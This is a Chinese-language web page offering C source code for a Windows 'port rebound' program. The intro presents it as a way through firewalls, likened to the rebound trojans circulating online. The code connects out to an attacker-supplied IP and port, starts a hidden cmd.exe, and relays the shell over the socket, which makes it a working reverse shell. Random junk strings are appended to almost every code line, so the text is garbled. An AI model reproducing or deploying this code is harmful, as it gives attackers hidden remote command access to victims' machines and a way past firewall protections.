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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #H~55))F  
*B|hRZka1A  
/* ============================== qB$-H' j:;  
Rebound port in Windows NT s1 >8uW  
By wind,2006/7 |URfw5Hm  
===============================*/ %"H:z  
#include cn} CI  
#include 1yE',9?  
cj2Smgw&>  
#pragma comment(lib,"wsock32.lib") ]eGa_Ld  
n{4iW_/D  
void OutputShell(); zq</(5H  
SOCKET sClient; ]"T157F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fYP,V0P  
A5Jadz~  
void main(int argc,char **argv) Dr.eos4 ~  
{ ; pBLmm*F  
WSADATA stWsaData; u<:uL  
int nRet; \7LL neq  
SOCKADDR_IN stSaiClient,stSaiServer; jv~#'=T'  
~RbVcB#  
if(argc != 3) Eq)b=5qrG?  
{ wMCMrv:  
printf("Useage:\n\rRebound DestIP DestPort\n"); jI8`trD  
return; @:zC!dR)G  
} `C>h]H(  
pqO3(2F9  
WSAStartup(MAKEWORD(2,2),&stWsaData); P}Ig6^[m\  
w]gLd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E^rBs2;9  
i 7]o[  
stSaiClient.sin_family = AF_INET; AJ/Hw>>$?m  
stSaiClient.sin_port = htons(0); w@-G_-6W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @JlT*:Dz  
%h ;oi/pe  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^N<aHFF  
{ HMUx/M.j  
printf("Bind Socket Failed!\n"); 7%"|6dw  
return; U=D;Cj Ah  
} B@-\.m  
DL bP$&o  
stSaiServer.sin_family = AF_INET; L8D=F7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [1(eSH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a^&"gGg  
}` 3-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \5}PF+)|  
{ jj&G[-"bv  
printf("Connect Error!"); *I?-A(e  
return; @-)S*+8  
} hXI[FICQU{  
OutputShell(); %@:>hQ2;  
} X40gJV<  
LBG`DYR@  
void OutputShell() &;ddnxFI  
{ ByjfPb#  
char szBuff[1024]; YTTy6*\,_  
SECURITY_ATTRIBUTES stSecurityAttributes; KN_n:`cH{  
OSVERSIONINFO stOsversionInfo; ? /!Fv/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h:Gs9]Lvtv  
STARTUPINFO stStartupInfo; +DSbr5"VlB  
char *szShell; )q'dX+4=eL  
PROCESS_INFORMATION stProcessInformation; w31O~Ve  
unsigned long lBytesRead; ^kNVQJiZyG  
=Jl\^u%H(x  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [Uk cG9  
nycJZ}f:wP  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jF6Q:`k  
stSecurityAttributes.lpSecurityDescriptor = 0; \&vXp"-@  
stSecurityAttributes.bInheritHandle = TRUE; EUw4$Jt^p  
?:vg`m!*  
7vgRNzZoq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iOa<=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3SWDPy  
z]g#2xD2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {0j,U\ kb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X{xkXg8h  
stStartupInfo.wShowWindow = SW_HIDE; ,Z|O y|+'  
stStartupInfo.hStdInput = hReadPipe; rIPg,4y*S!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fQ~~%#z1  
5%(  
GetVersionEx(&stOsversionInfo); fX9b1x  
f|~'(~Sr  
switch(stOsversionInfo.dwPlatformId) =X'EDw  
{ ;woK96"{t  
case 1: Onqapm0  
szShell = "command.com"; n\I s}Czl  
break; LGy6 2 y$  
default: 0e>?!Z E  
szShell = "cmd.exe"; TH4f"h+B3"  
break; B_Wig2xH0  
} ShRMzU  
hK4ww"-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =:T"naY(  
EO'+r[Y  
send(sClient,szMsg,77,0); 9J%O$sF  
while(1) yT%<  t  
{ br0\O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); + ,]&&  
if(lBytesRead) q:>`|~MX  
{ ly!3~W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *W2] Kxx*  
send(sClient,szBuff,lBytesRead,0); bg3kGt0  
} c5f57Z  
else hTAc}'^$  
{ aEQrBs  
lBytesRead=recv(sClient,szBuff,1024,0); dG3?(}p+  
if(lBytesRead<=0) break; w2 (}pz:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QN;NuDHN  
} &VjPdu57  
} U#Kw+slM  
0*^f EoV  
return; x2~fc  
}
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